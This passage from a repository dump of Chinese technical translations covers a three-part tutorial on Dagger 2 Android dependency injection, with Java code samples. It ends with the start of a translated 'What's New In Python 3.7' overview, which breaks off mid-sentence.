图谱的根，在我们的应用中 **Application Component** 提供了三个 **Module**。\n\n* **AndroidInjectionModule**：这个类不是我们写的，它是 Dagger 2.10 中的一个内部类，通过给定的 **Module** 为我们提供了 Activity 和 Fragment。\n* **ActivityBuilder**：我们自己创建的 **Module**，这个 **Module** 是给 Dagger 用的，我们将所有的 Activity 映射都放在了这里。Dagger 在编译期间能获取到所有的 Activity，我们的 App 中有 MainActivity 和 DetailActivity 两个 Activity，因此我将这两个 Activity 都放在这里。\n\n```\n@Module\npublic abstract class ActivityBuilder {\n\n    @Binds\n    @IntoMap\n    @ActivityKey(MainActivity.class)\n    abstract AndroidInjector.Factory<? extends Activity> bindMainActivity(MainActivityComponent.Builder builder);\n\n    @Binds\n    @IntoMap\n    @ActivityKey(DetailActivity.class)\n    abstract AndroidInjector.Factory<? extends Activity> bindDetailActivity(DetailActivityComponent.Builder builder);\n\n}\n```\n\n* **AppModule**：我们在这里提供了 retrofit、okhttp、持久化数据库、SharedPrefs。其中有一个很重要的细节，我们必须将子 **Component** 加入到 AppModule 中，这样 Dagger 图谱才能识别。\n\n```\n@Module(subcomponents = {\n        MainActivityComponent.class,\n        DetailActivityComponent.class})\npublic class AppModule {\n\n    @Provides\n    @Singleton\n    Context provideContext(Application application) {\n        return application;\n    }\n\n}\n```\n\n#### Activity Components\n\n我们有两个 Activity：`MainActivity` and `DetailActivity`。它们都拥有自己的 **Module** 和 **Component**，但是它们与我在上面 `AppModule` 中定义的一样，也是子 **Component**。\n\n* **MainActivityComponent**：这个 **Component** 是连接 MainActivityModule 的桥梁，但是有一个很关键的不同点就是不需要在 **Component** 中添加 inject() 和 build() 方法。MainActivityComponent 会从父类中集成这些方法。AndroidInjector 类是 dagger-android 框架中新增的。\n\n```\n@Subcomponent(modules = MainActivityModule.class)\npublic interface MainActivityComponent extends AndroidInjector<MainActivity>{\n    @Subcomponent.Builder\n    abstract class Builder extends AndroidInjector.Builder<MainActivity>{}\n}\n```\n\n* **MainActivityModule**：这个 **Module** 为 `MainActivity` 提供了相关实例对象（例如 `MainActivityPresenter`）。你注意到 provideMainView() 方法将 MainActivity 作为参数了吗？没错，我们利用 MainActivityComponent 创建了我们所需的对象。因此 Dagger 将我们的 Activity 加入到 图谱中并因此能使用它。\n\n```\n@Module\npublic class MainActivityModule {\n\n    @Provides\n    MainView provideMainView(MainActivity mainActivity){\n        return mainActivity;\n    }\n\n    @Provides\n    MainPresenter provideMainPresenter(MainView mainView, ApiService apiService){\n        return new MainPresenterImpl(mainView, apiService);\n    }\n}\n```\n\n同样的，我们可以像创建 `MainActivityComponent` 和 `MainActivityModule` 一样创建 `DetailActivityComponent` 和 `DetailActivityModule`，因此具体步骤就略过了。\n\n#### Fragment Components\n\n如果在 `DetailActivity` 中有两个 Fragment，那我们应该怎么办呢？实际上这一点都不难想到。先想想 Activity 和 Application 之间的关系，Application 通过映射的 Module（在我的示例中就是ActivityBuilder）知道所有的 Activity，并且将所有的 Activity 作为子 Component 加入到 AppModule 中。\n\nActivity 和 Fragment 也是如此，首先创建一个 FragmentBuilder Module 加入到 DetailActivityComponent 中。\n\n现在我们就可以像之前创建 `MainActivityComponent` 和 `MainActivityModule` 一样来创建 `DetailFragmentComponent` 和 `DetailFragmentModule`了。\n\n### DispatchingAndroidInjector<T>\n\n最后我们需要做的便是注入到注入器中。注入器的作用是什么？我想用一段简单的代码解释下。\n\n```\npublic class AndroidSampleApp extends Application implements HasActivityInjector {\n\n    @Inject\n    DispatchingAndroidInjector<Activity> activityDispatchingAndroidInjector;\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        //simplified\n    }\n\n    @Override\n    public DispatchingAndroidInjector<Activity> activityInjector() {\n        return activityDispatchingAndroidInjector;\n    }\n}\n```\n\nApplication 拥有很多 Activity，这就是我们实现 **_HasActivityInjector_** 接口的原因。那 Activity 有多个 Fragment 呢？意思是我们需要在 Activity 中实现 HasFragmentInjector 接口吗？没错，我就是这个意思！\n\n```java\npublic class DetailActivity extends AppCompatActivity implements HasSupportFragmentInjector {\n\n    @Inject\n    DispatchingAndroidInjector<Fragment> fragmentDispatchingAndroidInjector;\n\n    //simplified\n  \n    @Override\n    public AndroidInjector<Fragment> supportFragmentInjector() {\n        return fragmentDispatchingAndroidInjector;\n    }\n}\n```\n\n如果你没有子 Fragment 你不需要注入任何东西到 Fragment，那你也不需要实现 **_HasSupportFragmentInjector_** 接口了。但是在我们的示例中需要在 `DetailActivity` 创建一个 `DetailFragment`。\n\n### AndroidInjection.inject(this)\n\n做这些都是为了什么？这是因为 Activity 和 Fragment 都不应该是如何被注入的，那我们应该如何注入呢？\n\n在 Activity 中：\n\n```\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n **AndroidInjection._inject_(this);**\n    super.onCreate(savedInstanceState);\n}\n```\n\n在 Fragment 中：\n\n```\n@Override\npublic void onAttach(Context context) {\n    **AndroidSupportInjection._inject_(this);\n   ** super.onAttach(context);\n}\n```\n\n没错，恭喜你，所有工作都完成了！\n\n我知道这有点复杂，学习曲线很陡峭，但是我们还是达到目的了。现在，我们的类是不知道如何被注入的。我们可以将所需实例对象通过 **_@Inject_ annotation** 注解注入到我们的 UI 元素。\n\n你可以在我的 GitHub 主页找到这个工程，我建议你对照着 Dagger 2 的官方文档看。\n\n[**iammert/dagger-android-injection** \n_dagger-android-injection - Sample project explains Dependency Injection in Android using dagger-android framework._github.com](https://github.com/iammert/dagger-android-injection/tree/master)\n\n[**Dagger ‡ _A fast dependency injector for Android and Java._**\nA fast dependency injector for Android and Java.google.github.io](https://google.github.io/dagger//users-guide.html)\n\n在第二部分，我想利用 Dagger 提供的新注解来简化 android-dagger 注入，但是在简化之前我想先给大家看看它原来的样子。\n\n第二部分在[这里](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-2.md)了。\n\n感谢阅读，祝你编码愉快！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/new-android-injector-with-dagger-2-part-2.md",
    "content": "> * 原文地址：[New Android Injector with Dagger 2 — part 2](https://medium.com/@iammert/new-android-injector-with-dagger-2-part-2-4af05fd783d0)\n> * 原文作者：[Mert Şimşek](https://medium.com/@iammert?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-2.md)\n> * 译者：[woitaylor](https://github.com/woitaylor)\n> * 校对者：[XPGSnail](https://github.com/XPGSnail) [LeviDing](https://github.com/leviding)\n\n# 全新 Android 注入器 : Dagger 2 （二）\n\n![](https://cdn-images-1.medium.com/max/2000/1*mUOY8duji6LKT9dKFpDvoA.jpeg)\n\n- [全新 Android 注入器 : Dagger 2 （一）](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-1.md)\n- [全新 Android 注入器 : Dagger 2 （二）](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-2.md)\n\n在上一篇博客中我尝试解释了 `dagger-android` 注入。收到了一些评论，有的人说太复杂了没必要\n为了使用新特性去升级。我想到会发生这种情况，但我还是觉得有必要去解释dagger在幕后所做的工作。在阅读这篇博客之前\n我强烈建议先阅读第一篇博客。本文中我会使用 `**_@ContributesAndroidInjector_**` 注解来简化上篇博客中的代码。\n\n\n\n我们通过下面的图片来回忆第一篇博客中 `dagger` 结构图。 \n\n![](https://cdn-images-1.medium.com/max/1000/1*RbT9g29U6QErwWktV6089Q.png)\n\n我们一步步来检查该图谱。我只介绍 `MainActivity` 这部分。其他部分的逻辑一样。\n* 创建一个 `_AppComponent_` 和 `_AppModule_`。\n* 创建 `_MainActivity_`， `_MainActivityComponent_`， `_MainActivityModule_`。\n* 映射 `_MainActivity_` 到 `_ActivityBuilder_` （这样 `dagger` 就能够知道 `MainActivity` 将被注入）。\n\n让我们开始吧。在 `_MainActivity_` 中调用 `**_AndroidInjection.inject(this)_**` 并且在 `_MainActivityModule_` 中添加生成实例的方法。\n\n我们只是想注入到 `MainActivity` ，却做了很多事情。能不能进一步简化？怎么简化？\n\n* `@Subcomponent` 注解的 `MainActivityComponent` 和 `DetailActivityComponent` 在图中只是起到类似桥梁的作用。我们能够很容易地写出这两个类。\n* 每当我们添加 `UI` 组件作为新的 `subcomponent` 都必须把 `activity` 映射到 `ActivityBuilder module`。这个工作经常是重复的。\n\n### 不要做重复性的工作\n\n`dagger` 的作者们显然也意识到这个问题，给了一个新的解决方法。于是就有了这个新注解—— `**@ContributesAndroidInjector .**`，使用这个注解我们能够轻松地把 `activities/fragments` 添加到 `dagger` 结构中。下图为简化后的 `dagger` 结构图，代码稍后给出。\n\n![](https://cdn-images-1.medium.com/max/1000/1*KqjANMe67JfzRNp0-QQIEw.png)\n\n通过上面的结构图我想你们能够理解得更深。这里给出修改后的[代码](https://github.com/iammert/dagger-android-injection/commit/5cf00f738751939b0d222e5da55e7f4384fa5798)。\n\n当然也可以从[ `android injection` ](https://github.com/iammert/dagger-android-injection/tree/dagger-simplified-with-contributes)分支中拉取代码。\n\n\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/new-android-injector-with-dagger-2-part-3.md",
    "content": "> * 原文地址：[New Android Injector with Dagger 2 — part 3](https://android.jlelse.eu/new-android-injector-with-dagger-2-part-3-fe3924df6a89)\n> * 原文作者：[Mert Şimşek](https://android.jlelse.eu/@iammert?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-3.md)\n> * 译者：[woitaylor](https://github.com/woitaylor)\n> * 校对者：[corresponding](https://github.com/corresponding) [shengye102](https://github.com/shengye102)\n\n# 全新 Android 注入器 : Dagger 2（三）\n\n如果你还没有阅读（一）和（二），我建议你先阅读它们。\n\n\n- [全新 Android 注入器 : Dagger 2 （一）](https://juejin.im/post/5a39f26df265da4324809685)\n- [全新 Android 注入器 : Dagger 2 （二）](https://juejin.im/post/5a3a1883f265da4321542fc1)\n\n#### 概要\n\n你可以使用 `DaggerActivity`，`DaggerFragment`，`DaggerApplication` 来减少 `Activity/Fragment/Application` 类里面的模板代码。\n\n同样的，在 `dagger` 的 `component` 中，你也可以通过 `AndroidInjector<T>` 去减少模板代码。\n\n### DaggerAppCompatActivity and DaggerFragment\n\n在使用 `dagger` 的 `fragment` 或者 `activity` 中要记得调用 `AndroidInjection.inject()` 方法。\n同样的，如果你想要在 `v4` 包里面的 `fragment` 中使用 `Injection`，你应该让你的 `activity` 实现 `HasSupportFragmentInject` 接口并且重写 `fragmentInjector` 方法。\n\n最近，我把这些相关代码移到 `BaseActivity` 和 `BaseFragment`。因为与其在每个 `activity` 中声明这些，还不如把共同的代码放到基类里面。\n\n于是我在研究 `dagger` 项目的时候发现 `DaggerAppCompatActivity` 、`DaggerFragment` 这些类正好是我所需要的。如果说 `Android` 喜欢继承，那么我们也可以假装喜欢继承 😛\n\n让我们看看这些类做了些神马。\n\n```\n@Beta\npublic abstract class DaggerAppCompatActivity extends AppCompatActivity\n    implements HasFragmentInjector, HasSupportFragmentInjector {\n\n  @Inject DispatchingAndroidInjector<Fragment> supportFragmentInjector;\n  @Inject DispatchingAndroidInjector<android.app.Fragment> frameworkFragmentInjector;\n\n  @Override\n  protected void onCreate(@Nullable Bundle savedInstanceState) {\n    AndroidInjection.inject(this);\n    super.onCreate(savedInstanceState);\n  }\n\n  @Override\n  public AndroidInjector<Fragment> supportFragmentInjector() {\n    return supportFragmentInjector;\n  }\n\n  @Override\n  public AndroidInjector<android.app.Fragment> fragmentInjector() {\n    return frameworkFragmentInjector;\n  }\n}\n```\n\n从上面的代码可以看出 `DaggerAppCompatActivity` 跟我们自己写的 `Activity` 并没有多大的区别，所以可以让我们的 `Activity` 以继承 `DaggerAppCompatActivity` 的方式来减少模板代码。\n\n`DetailActivity` 类如下：\n\n```\npublic class DetailActivity extends AppCompatActivity implements HasSupportFragmentInjector, DetailView {\n\n    @Inject\n    DispatchingAndroidInjector<Fragment> fragmentDispatchingAndroidInjector;\n\n    @Inject\n    DetailPresenter detailPresenter;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        AndroidInjection.inject(this);\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_detail);\n    }\n\n    @Override\n    public void onDetailLoaded() {}\n\n    @Override\n    public AndroidInjector<Fragment> supportFragmentInjector() {\n        return fragmentDispatchingAndroidInjector;\n    }\n}\n```\n\n让我们的 `DetailActivity` 继承 `DaggerAppCompatActivity` 类，这样我们就不用让 `DetailActivity` 类实现 `HasSupportFragmentInjector` 接口以及重写方法了。\n\n```\npublic class DetailActivity extends DaggerAppCompatActivity implements DetailView {\n\n    @Inject\n    DetailPresenter detailPresenter;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_detail);\n    }\n\n    @Override\n    public void onDetailLoaded() {}\n}\n```\n\n现在，是不是更简洁了。\n\n### DaggerApplication, AndroidInjector, AndroidSupportInjectionModule\n\n看看还有哪些办法能够减少模板代码。我发现 `AndroidInjector` 能够帮助简化 `AppComponent`。你可以通过阅读 `AndroidInjector` 相关[文档](https://google.github.io/dagger/api/2.10/dagger/android/AndroidInjector.html)来获取相关信息。\n\n下面是 `AppComponent` 类的代码。\n\n```\n@Component(modules = {\n        AndroidInjectionModule.class,\n        AppModule.class,\n        ActivityBuilder.class})\npublic interface AppComponent {\n\n    @Component.Builder\n    interface Builder {\n        @BindsInstance Builder application(Application application);\n        AppComponent build();\n    }\n\n    void inject(AndroidSampleApp app);\n}\n```\n\n`build()` 和 `seedInstance()` 方法已经在 `AndroidInjector.Builder` 抽象类中定义了，所以我们的 `Builder` 类可以通过继承 `AndroidInjection.Builder<Application>` 来去掉上面代码中 `application()` 和 `build()` 这两个方法。\n\n同样的，`AndroidInjector` 接口中已经有 `inject()` 方法了。所以我们可以通过继承 `AndroidInjector<Application>` 接口（接口是可以继承接口的）来删除 `inject()` 方法。\n\n那么我们简化后的 `AppComponent` 接口的代码如下：\n\n```\n@Component(modules = {\n        AndroidSupportInjectionModule.class,\n        AppModule.class,\n        ActivityBuilder.class})\ninterface AppComponent extends AndroidInjector<AndroidSampleApp> {\n    @Component.Builder\n    abstract class Builder extends AndroidInjector.Builder<AndroidSampleApp> {}\n}\n```\n\n你有没有意识到我们的 `modules` 属性也改变了？我从 `@Component` 注解的 `modules` 属性中移除了 `AndroidInjectionModule.class` 并且添加了 `AndroidSupportInjectionModule.class`。这是因为我们使用的是支持库（v4库）的 `Fragment`。而 `AndroidInjectionModule` 是用来绑定 `app` 包的 `Fragment` 到 `dagger`。所以如果你想在 `v4.fragment` 中使用注入，那么你应该在你的 `AppComponent modules` 中添加 `AndroidSupportInjectionModule.class`。\n\n我们改变了 `AppComponent` 的注入方式。那么 `Application` 类需要做什么改变。\n\n跟 `DaggerActivity` 和 `DaggerFragment` 一样，我们也让 `Application` 类继承 `DaggerApplication` 类。\n\n之前的 `Application` 类的代码如下：\n\n```\npublic class AndroidSampleApp extends Application implements HasActivityInjector {\n\n    @Inject\n    DispatchingAndroidInjector<Activity> activityDispatchingAndroidInjector;\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        DaggerAppComponent\n                .builder()\n                .application(this)\n                .build()\n                .inject(this);\n    }\n\n    @Override\n    public DispatchingAndroidInjector<Activity> activityInjector() {\n        return activityDispatchingAndroidInjector;\n    }\n}\n```\n\n修改后代码如下:\n\n```\npublic class AndroidSampleApp extends DaggerApplication {\n\n    @Override\n    protected AndroidInjector<? extends AndroidSampleApp> applicationInjector() {\n        return DaggerAppComponent.builder().create(this);\n    }\n}\n```\n\n### 源码\n\n你可以从我的 [GitHub](http://github.com/iammert) 上获取修改后的源码。我没有把这些代码 `merge` 到主分支上，是因为我想在各个分支中保存 `dagger` 使用方式的历史记录。这样读者们就能够知道我是如何一步步简化 `dagger` 的使用方式。\n\n- [Demo](https://github.com/iammert/dagger-android-injection)\n\n### PS.\n\n我并不是说这是 `dagger` 的最优美的实践方式。这只是我在自己项目中使用 `dagger` 的方式。如果喜欢的话，你也可以在自己的项目中这样使用。如果你实在不想让自己的 `Application` 类继承第三方的 `Application` 类就别这样使用，你高兴就好。最后，如果你们有更好的建议还请多多指教。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/new-in-python-3.7.md",
    "content": "\n> * 原文地址：[What’s New In Python 3.7](https://docs.python.org/3.7/whatsnew/3.7.html)\n> * 原文作者：[https://docs.python.org/](https://docs.python.org/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/new-in-python-3.7.md](https://github.com/xitu/gold-miner/blob/master/TODO/new-in-python-3.7.md)\n> * 译者：[winjeysong](https://github.com/winjeysong)\n> * 校对者：[LynnShaw](https://github.com/LynnShaw)\n\n# Python 3.7 新特性\n- 版本：3.7.0a1\n- 日期：2017年9月27日\n\n本文阐述了Python 3.7所具有的新特性（与3.6版本对比）。\n\n详见[更新日志](https://docs.python.org/3.7/whatsnew/changelog.html#changelog)。\n\n**注意：** 预发布版本的用户要留意，本文档目前还属于草案。随着Python 3.7的发布，后续将会有很显著的更新，所以即使阅读过早期版本，也值得再回来看看。\n\n## 版本亮点总结\n### 新特性\n\n#### PEP 538：遗留的C语言本地化编码自动强制转换问题\n\n在 Python 3 系列版本中，确定一个合理的默认策略来处理当前位于非 Windows 平台上默认C语言本地化编码隐式采用的“7位 ASCII”，是个永不停歇的挑战。\n\n[**PEP 538**](https://www.python.org/dev/peps/pep-0538) 更新了默认的解释器命令行界面，从而能自动地将本地化编码强制转换为一种可用的且基于 UTF-8的编码，它就是文档里所描述的新环境变量 [`PYTHONCOERCECLOCALE`](https://docs.python.org/3.7/using/cmdline.html#envvar-PYTHONCOERCECLOCALE)。用这种方式自动设置 `LC_CTYPE` 意味着核心解释器和关于本地化识别的C语言扩展（如 [`readline`](https://docs.python.org/3.7/library/readline.html#module-readline)）将会采用 UTF-8 作为默认的文本编码，而不是 ASCII。\n\n[**PEP 11**](https://www.python.org/dev/peps/pep-0011) 中有关平台支持的定义也已经更新，限制了对于全文处理的支持，变为适当的基于非 ASCII 的本地化编码配置。\n\n作为变化的一部分，当使用任一强制转换的已定义目标编码（当前为 `C.UTF-8`，`C.utf8` 和 `UTF-8`），`stdin` 及 `stdout` 的默认错误处理器现在为 `surrogateescape`（而不是 `strict`）；而 `stderr` 的默认错误处理器仍然是 `backslashreplace`，与语言环境无关。\n\n默认的本地化编码强制转换是隐式的，但是为了能帮助调试潜在的与本地化相关的集成问题，可以通过设置 `PYTHONCOERCECLOCALE=warn` 来请求直接用 `stderr` 发出明确的警告。当核心解释器初始化时，如果遗留的C语言本地化编码仍是活动状态，那么该设置会导致 Python 运行时发出警告。\n\n**另见：**\n\n<dl class=\"last docutils\">\n\n[**PEP 538**](https://www.python.org/dev/peps/pep-0538) —— 把遗留的C语言本地化编码强制转换为基于 UTF-8 的编码。\n\nPEP 由 Nick Coghlan 撰写及实施。\n\n### 其他的语言更新\n\n* 现在传递给某个函数的参数（ *argument* ）可以超过255个，且一个函数的形参（ *parameter* ）可以超过255个。(由 Serhiy Storchaka 参与贡献的 [bpo-12844](https://bugs.python.org/issue12844) 和 [bpo-18896](https://bugs.python.org/issue18896)。)\n* [`bytes.fromhex()`](https://docs.python.org/3.7/library/stdtypes.html#bytes.fromhex) 及 [`bytearray.fromhex()`](https://docs.python.org/3.7/library/stdtypes.html#bytearray.fromhex) 现在将忽略所有的 ASCII 空白符，而不止空格。(由 Robert Xiao 参与贡献的 [bpo-28927](https://bugs.python.org/issue28927)。)\n* 现在当 `from ... import ...` 失败的时候，[`ImportError`](https://docs.python.org/3.7/library/exceptions.html#ImportError) 会展示模块名及模块 `__file__` 路径。(由 Matthias Bussonnier 参与贡献的 [bpo-29546](https://bugs.python.org/issue29546)。)\n* 现在已支持将包含绝对 imports 的循环 imports 通过名称绑定到一个子模块上。(由 Serhiy Storchaka 参与贡献的 [bpo-30024](https://bugs.python.org/issue30024)。)\n* 现在，`object.__format__(x,'')` 等价于 `str(x)` ，而不是 `format(str(self),'')`。(由 Serhiy Storchaka 参与贡献的 [bpo-28974](https://bugs.python.org/issue28974)。)\n\n## 新模块\n\n* 暂无。\n\n### 改进的模块\n\n#### argparse\n\n在大多数的 unix 命令中，[`parse_intermixed_args()`](https://docs.python.org/3.7/library/argparse.html#argparse.ArgumentParser.parse_intermixed_args) 能让用户在命令行里混用选项和位置参数，它支持大部分而非全部的 argparse 功能。(由 paul.j3 参与贡献的 [bpo-14191](https://bugs.python.org/issue14191)。)\n\n#### binascii\n\n[`b2a_uu()`](https://docs.python.org/3.7/library/binascii.html#binascii.b2a_uu) 函数现在能接受一个可选的 _backtick_ 关键字参数，当它的值为 true 时，所有的“0”都将被替换为 ``'`'`` 而非空格。(由 Xiang Zhang 参与贡献的 [bpo-30103](https://bugs.python.org/issue30103)。)\n\n#### calendar\n\n[`HTMLCalendar`](https://docs.python.org/3.7/library/calendar.html#calendar.HTMLCalendar)类具有新的类属性，它能在生成的 HTML 日历中很方便地自定义 CSS 类。(由 Oz Tiram 参与贡献的 [bpo-30095](https://bugs.python.org/issue30095)。)\n\n#### cgi\n\n[`parse_multipart()`](../library/cgi.html#cgi.parse_multipart \"cgi.parse_multipart\") 作为 `FieldStorage` 会返回同样的结果：对于非文件字段，与键相关联的值是一个字符串列表，而非字节。(由 Pierre Quentel 参与贡献的 [bpo-29979](https://bugs.python.org/issue29979)。)\n\n#### contextlib\n\n已添加 [`contextlib.asynccontextmanager()`](https://docs.python.org/3.7/library/contextlib.html#contextlib.asynccontextmanager)。(由 Jelle Zijlstra 参与贡献的 [bpo-29679](https://bugs.python.org/issue29679)。)\n\n#### dis\n\n[`dis()`](https://docs.python.org/3.7/library/dis.html#dis.dis) 函数现在可以反汇编嵌套代码对象（代码解析，生成器表达式和嵌套函数，以及用于构建嵌套类的代码）。(由 Serhiy Storchaka 参与贡献的 [bpo-11822](https://bugs.python.org/issue11822)。)\n\n#### distutils\n\nREADME.rst 现已包含在 distutils 的标准自述文件列表中，进而它也分别包含在各源码中。(由 Ryan Gonzalez 参与贡献的 [bpo-11913](https://bugs.python.org/issue11913)。)\n\n#### http.server\n\n[`SimpleHTTPRequestHandler`](https://docs.python.org/3.7/library/http.server.html#http.server.SimpleHTTPRequestHandler) 支持 HTTP If-Modified-Since 头文件。如果在头文件指定的时间之后，目标文件未被修改，则服务器返回 304 响应状态码。 (由 Pierre Quentel 参与贡献的 [bpo-29654](https://bugs.python.org/issue29654)。)\n\n在 [`SimpleHTTPRequestHandler`](https://docs.python.org/3.7/library/http.server.html#http.server.SimpleHTTPRequestHandler) 中添加 `directory` 参数，在命令行的 [`server`](https://docs.python.org/3.7/library/http.server.html#module-http.server) 模块中添加 `--directory`。有了这个参数，服务器将会运行在指定目录下，默认使用当前工作目录。(由 Stéphane Wirtel and Julien Palard 参与贡献的 [bpo-28707](https://bugs.python.org/issue28707)。)\n\n#### locale\n\n在 [`locale`](https://docs.python.org/3.7/library/locale.html#module-locale) 模块的 `format_string()` 方法中添加了另一个参数 _monetary_ 。如果 _monetary_ 的值为 true，会转换为使用货币千位分隔符和分组字符串。(由 Garvit 参与贡献的 [bpo-10379](https://bugs.python.org/issue10379)。)\n\n#### math \n\n新的 [`remainder()`](https://docs.python.org/3.7/library/math.html#math.remainder) 函数实现了 IEEE 754-style 的取余操作。(由 Mark Dickinson 参与贡献的 [bpo-29962](https://bugs.python.org/issue29962)。)\n\n#### os\n\n增加了对 [`fwalk()`](https://docs.python.org/3.7/library/os.html#os.fwalk) 中 [`bytes`](https://docs.python.org/3.7/library/stdtypes.html#bytes) 路径的支持。(由 Serhiy Storchaka 参与贡献的 [bpo-28682](https://bugs.python.org/issue28682)。)\n (Contributed by Serhiy Storchaka in [bpo-28682](https://bugs.python.org/issue28682).)\n\n在Unix平台上，增加了对 [`scandir()`](https://docs.python.org/3.7/library/os.html#os.scandir) 中 [file descriptors](https://docs.python.org/3.7/library/os.html#path-fd) 的支持。(由 Serhiy Storchaka 参与贡献的 [bpo-25996](https://bugs.python.org/issue25996)。)\n\n新的 [`os.register_at_fork()`](https://docs.python.org/3.7/library/os.html#os.register_at_fork) 函数允许注册 Python 的回调在进程的分支上执行。(由 Antoine Pitrou 参与贡献的 [bpo-16500](https://bugs.python.org/issue16500)。)\n\n#### pdb\n\n[`set_trace()`](https://docs.python.org/3.7/library/pdb.html#pdb.set_trace) 现在需要一个可选的 `header` 强制关键字参数。如果已给出，它将会在调试开始前打印至控制台。\n\n#### string\n\n[`string.Template`](https://docs.python.org/3.7/library/string.html#string.Template) 现在可以分别为花括号占位符和非花括号占位符选择性地修改正则表达式模式。(由 Barry Warsaw 参与贡献的 [bpo-1198569](https://bugs.python.org/issue1198569)。)\n\n#### unittest.mock\n\n[`sentinel`](https://docs.python.org/3.7/library/unittest.mock.html#unittest.mock.sentinel) 属性现在会保留自己的同一性，当它们被 [`copied`](https://docs.python.org/3.7/library/copy.html#module-copy) 或 [`pickled`](https://docs.python.org/3.7/library/pickle.html#module-pickle) 时。(由 Serhiy Storchaka 参与贡献的 [bpo-20804](https://bugs.python.org/issue20804)。)\n\n#### xmlrpc.server\n`xmlrpc.server.SimpleXMLRPCDispatcher` 的 `register_function()` 及其子类能被用作装饰器。(由 Xiang Zhang 参与贡献的 [bpo-7769](https://bugs.python.org/issue7769)。)\n\n#### unicodedata\n\n内部的 [`unicodedata`](https://docs.python.org/3.7/library/unicodedata.html#module-unicodedata) 数据库已升级，能够使用 [Unicode 10](http://www.unicode.org/versions/Unicode10.0.0/)。 (由 Benjamin Peterson 参与贡献。)\n\n#### urllib.parse\n\n[`urllib.parse.quote()`](https://docs.python.org/3.7/library/urllib.parse.html#urllib.parse.quote) 已经从 RFC 2396 升级至 RFC 3986，将 `~` 添加到默认情况下从不引用的字符集中。(由 Christian Theune 和 Ratnadeep Debnath 参与贡献的 [bpo-16285](https://bugs.python.org/issue16285)。)\n\n#### uu\n\n函数 [`encode()`](https://docs.python.org/3.7/library/uu.html#uu.encode) 现在能接受一个可选的关键字参数 _backtick_ ，当它的值为 true 时，“0”会被 ``'`'`` 替代而非空格。(由 Xiang Zhang 参与贡献的 [bpo-30103](https://bugs.python.org/issue30103)。)\n\n#### zipapp\n\n函数 `zipapp.create_archive()` 现在能接受一个可选的参数 **filter**，来允许用户选择哪些文件应该被包含在存档中。\n\n### 优化\n\n* 添加了两个新的操作码：`LOAD_METHOD` 及 `CALL_METHOD`，从而避免为了方法调用的绑定方法对象的实例化，这将导致方法调用的速度提升20%。(由 Yury Selivanov 及 INADA Naoki 参与贡献的 [bpo-26110](https://bugs.python.org/issue26110)。)\n* 当在一字符串内查找某些特殊的 Unicode 字符（如乌克兰大写字母 “Є”）时，将会比查找其他字符慢25倍，但现在最差情况下也只慢了3倍。(由 Serhiy Storchaka 参与贡献的 [bpo-24821](https://bugs.python.org/issue24821)。)\n* 标准C语言库的快速执行现在能用于 [`math`](https://docs.python.org/3.7/library/math.html#module-math) 模块内的 